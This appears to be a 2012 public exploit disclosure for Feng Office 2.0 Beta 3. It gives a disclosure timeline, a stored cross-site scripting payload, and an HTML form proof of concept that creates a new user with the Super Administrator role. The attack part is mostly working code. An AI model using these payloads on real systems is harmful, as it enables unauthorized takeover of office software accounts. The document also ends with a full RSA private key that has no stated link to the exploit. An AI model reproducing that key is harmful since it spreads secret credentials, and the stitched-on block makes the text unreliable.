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INDEPENDENT SECURITY RESEARCHER 
PENETRATION TESTING SECURITY
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# Author: Ur0b0r0x
# Tiwtte: @Ur0b0r0x
# Email:  ur0b0r0x_@live.com
# Line:   GreyHat
# Home:   cyberpunk-ur0x.blogspot.com


# Exploit Title: Feng Office Version 2.0 Beta 3 - Cross-Site Scripting / Remote Privilege Escalation
# Date: 21/11/2012
# Author: Ur0b0r0x
# Url Vendor: http:www.fengoffice.com/
# Vendor Name: Feng Office
# Tested On: Backtrack R3 / Linux Mint
# Type: php

------------------- Agreement --------------------
[17/11/2012] - Vulnerability discovered
[19/11/2012] - Vendor notified Dont responsed
[21/11/2012] - Public disclosure 
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# Proof of Concept Video
http://www.youtube.com/watch?v=Q_B_5VkAVhU

# Expl0it/P0c/Xss ###################
<SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>

# Expl0it/P0c/Privilege Escalation ###################
<input type="hidden" value="" name="contact[new_contact_from_mail_div_id]">
<input type="hidden" value="" name="contact[hf_contacts]">
<label for="og_1353469580_283914profileFormFirstName">First name:      
<input type="text" value="poc" name="contact[first_name]" maxlength="50" id="og_1353469580_283914profileFormFirstName">
<label for="og_1353469580_283914profileFormSurName">Last name:      
<input type="text" value="poc2" name="contact[surname]" maxlength="50" id="og_1353469580_283914profileFormSurname">    
<label for="og_1353469580_283914profileFormEmail">Email address:</label>      
<input type="text" value="poctest@live.com" name="contact[email]" style="width:260px;" maxlength="100" id="og_1353469580_283914profileFormEmail">
<div style="" class="user-data">
<label>Password:<input type="password" name="contact[user][password]">
<label>Repeat password:<input type="password" name="contact[user][password_a]" class="field-error">
<select name="contact[user][type]">
<option value="1">Super Administrator</option>
<button tabindex="20000" id="og_1353471270_613002submit2" class="submit" type="submit" accesskey="s">Add Per<u>s</u>on</button>


-----BEGIN RSA PRIVATE KEY-----
MIICXQIBAAKBgQD995aYvrD2mK2fwwQr3FoAAprFLfMAiwR8cQUZW2XWDUSNJdvl
Mq/1qym16+Yx7AVmXbsdCzqV/zeX+VUg6fUUWFwzNru6akjOlEHnSpNPxfJaCOEi
2AFovRie8LJyXtmXf1VFVU7l33/OBUsGJAUa2H4bR8ChTUffSHqkoFLE5wIDAQAB
AoGBANJgFc/RpqWfM7Pzx7DNh4AaqDpOJc19Wun6dU7b9y+pLe/+PHlP05Kdhp+8
GaOg75gsbKNSeeVm1JZ/Y5UwOGJLn06W8PaBgkNG+b6tv9iRV7jSubEscwfGOXSX
X5Hi9XP02MOrEsqOcgl6Xqpf8//fauhem8a4/iftk2hG3ngBAkEA/4C5QQePSOz/
WyypDfUC5Nr5h32zq5bvRY++v7ydzeSRQD8uri66zZuz0gGTzjGdyBUb2OuTDT4R
8RUcW1x9QQJBAP52GYGDg/+EE7ABX4zT/ZOHJScjlezxbwLiTsvWoESRUrQftLOL
Wvl2IpeYpWvKIjTzyb5WH+IBWPFpM6RfsCcCQQDnqrDOrOsXhYSYB+uVMyYXmhEM
8EYb/HQhj4+2THCNQoUNSvyphMduLJKkhTeei1B0HeetDRS9uh0Mika29CrBAkAM
BVg/Hg9mSr8DWY1CAeHAzmma57t1bhJoeHhweLspghP+HmFS+gpaLpKDxtpJtUrY
ZYvqSfdHnfitruKZqUuRAkAti8p7b53+cFSm14WPNtdhJQnxniUcSKBtNm5ExO7J
X54eZI4iddc9xnP4rySfwz933FhMRF9Eh3gPUYAPBpp/
-----END RSA PRIVATE KEY-----